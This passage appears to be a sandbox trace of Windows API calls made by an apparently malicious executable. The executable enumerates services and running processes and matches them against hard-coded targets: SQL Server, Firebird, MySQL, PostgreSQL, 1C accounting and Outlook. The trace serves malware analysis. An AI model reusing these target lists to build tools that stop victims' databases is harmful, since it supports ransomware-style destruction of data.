	[0266.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0266.392] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0266.392] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0266.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0266.392] lstrlenW (lpString="lmhosts") returned 7
	[0266.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0266.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0266.393] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0266.393] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0266.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0266.393] lstrlenW (lpString="MMCSS") returned 5
	[0266.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0266.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0266.393] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0266.393] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0266.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0266.393] lstrlenW (lpString="MpsSvc") returned 6
	[0266.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0266.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0266.393] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0266.393] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0266.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0266.393] lstrlenW (lpString="NlaSvc") returned 6
	[0266.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0266.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0266.393] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0266.393] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0266.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0266.393] lstrlenW (lpString="nsi") returned 3
	[0266.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0266.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0266.393] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0266.393] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0266.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0266.393] lstrlenW (lpString="PcaSvc") returned 6
	[0266.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0266.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0266.393] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0266.394] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0266.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0266.394] lstrlenW (lpString="PlugPlay") returned 8
	[0266.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0266.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0266.394] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0266.394] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0266.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0266.394] lstrlenW (lpString="Power") returned 5
	[0266.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0266.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0266.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0266.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0266.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0266.394] lstrlenW (lpString="ProfSvc") returned 7
	[0266.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0266.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0266.394] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0266.394] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0266.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0266.394] lstrlenW (lpString="RpcEptMapper") returned 12
	[0266.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0266.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0266.394] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0266.394] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0266.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0266.394] lstrlenW (lpString="RpcSs") returned 5
	[0266.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0266.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0266.394] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0266.394] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0266.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0266.395] lstrlenW (lpString="SamSs") returned 5
	[0266.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0266.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0266.395] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0266.395] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0266.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0266.395] lstrlenW (lpString="Schedule") returned 8
	[0266.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0266.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0266.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0266.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0266.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0266.395] lstrlenW (lpString="SENS") returned 4
	[0266.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0266.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0266.395] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0266.395] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0266.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0266.395] lstrlenW (lpString="ShellHWDetection") returned 16
	[0266.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0266.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0266.395] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0266.395] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0266.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0266.395] lstrlenW (lpString="Spooler") returned 7
	[0266.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0266.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0266.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0266.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0266.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0266.395] lstrlenW (lpString="SysMain") returned 7
	[0266.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0266.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0266.396] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0266.396] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0266.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0266.396] lstrlenW (lpString="Themes") returned 6
	[0266.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0266.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0266.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0266.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0266.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0266.396] lstrlenW (lpString="TrkWks") returned 6
	[0266.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0266.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0266.396] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0266.396] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0266.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0266.396] lstrlenW (lpString="UxSms") returned 5
	[0266.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0266.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0266.396] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0266.396] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0266.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0266.396] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0266.396] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320
	[0266.398] Process32FirstW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0266.398] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0266.398] lstrlenW (lpString="System") returned 6
	[0266.398] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0266.398] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0266.398] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0266.399] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0266.399] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0266.399] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0266.399] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0266.399] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0266.399] lstrlenW (lpString="smss.exe") returned 8
	[0266.399] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0266.399] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0266.399] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0266.399] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0266.399] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0266.399] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0266.399] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0266.399] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0266.399] lstrlenW (lpString="csrss.exe") returned 9
	[0266.399] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0266.399] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0266.399] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0266.400] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0266.400] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0266.400] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0266.400] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0266.400] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0266.400] lstrlenW (lpString="wininit.exe") returned 11
	[0266.400] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0266.400] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0266.400] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0266.400] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0266.400] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0266.400] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0266.400] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0266.400] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0266.400] lstrlenW (lpString="csrss.exe") returned 9
	[0266.400] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0266.400] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0266.400] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0266.400] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0266.401] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0266.401] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0266.401] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0266.401] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0266.401] lstrlenW (lpString="winlogon.exe") returned 12
	[0266.401] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0266.401] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0266.401] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0266.401] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0266.401] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0266.401] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0266.401] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0266.401] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0266.401] lstrlenW (lpString="services.exe") returned 12
	[0266.401] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0266.401] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0266.401] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0266.401] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0266.401] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0266.401] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0266.402] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0266.402] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0266.402] lstrlenW (lpString="lsass.exe") returned 9
	[0266.402] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0266.402] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0266.402] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0266.402] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0266.402] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0266.402] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0266.402] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0266.402] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0266.402] lstrlenW (lpString="lsm.exe") returned 7
	[0266.402] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0266.402] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0266.402] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0266.403] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0266.403] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0266.403] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0266.403] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0266.403] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0266.403] lstrlenW (lpString="svchost.exe") returned 11
	[0266.403] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0266.403] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0266.403] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0266.403] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0266.403] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0266.403] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0266.403] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0266.403] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0266.403] lstrlenW (lpString="svchost.exe") returned 11
	[0266.403] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0266.404] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0266.404] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0266.404] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0266.404] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0266.404] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0266.404] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0266.404] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0266.404] lstrlenW (lpString="svchost.exe") returned 11
	[0266.404] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0266.404] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0266.404] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0266.404] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0266.404] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0266.404] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0266.404] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0266.404] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0266.404] lstrlenW (lpString="svchost.exe") returned 11
	[0266.405] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0266.405] lstrlenW (lpString="svchost.exe") returned 11
	[0266.405] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0266.405] lstrlenW (lpString="audiodg.exe") returned 11
	[0266.405] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0266.405] lstrlenW (lpString="svchost.exe") returned 11
	[0266.405] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0266.406] lstrlenW (lpString="userinit.exe") returned 12
	[0266.406] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0266.406] lstrlenW (lpString="explorer.exe") returned 12
	[0266.406] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0266.406] lstrlenW (lpString="dwm.exe") returned 7
	[0266.406] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0266.406] lstrlenW (lpString="svchost.exe") returned 11
	[0266.406] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0266.407] lstrlenW (lpString="swpesp.exe") returned 10
	[0266.407] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0266.407] lstrlenW (lpString="spoolsv.exe") returned 11
	[0266.407] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0266.407] lstrlenW (lpString="taskhost.exe") returned 12
	[0266.407] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0266.408] lstrlenW (lpString="svchost.exe") returned 11
	[0266.408] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0266.408] lstrlenW (lpString="reader_sl.exe") returned 13
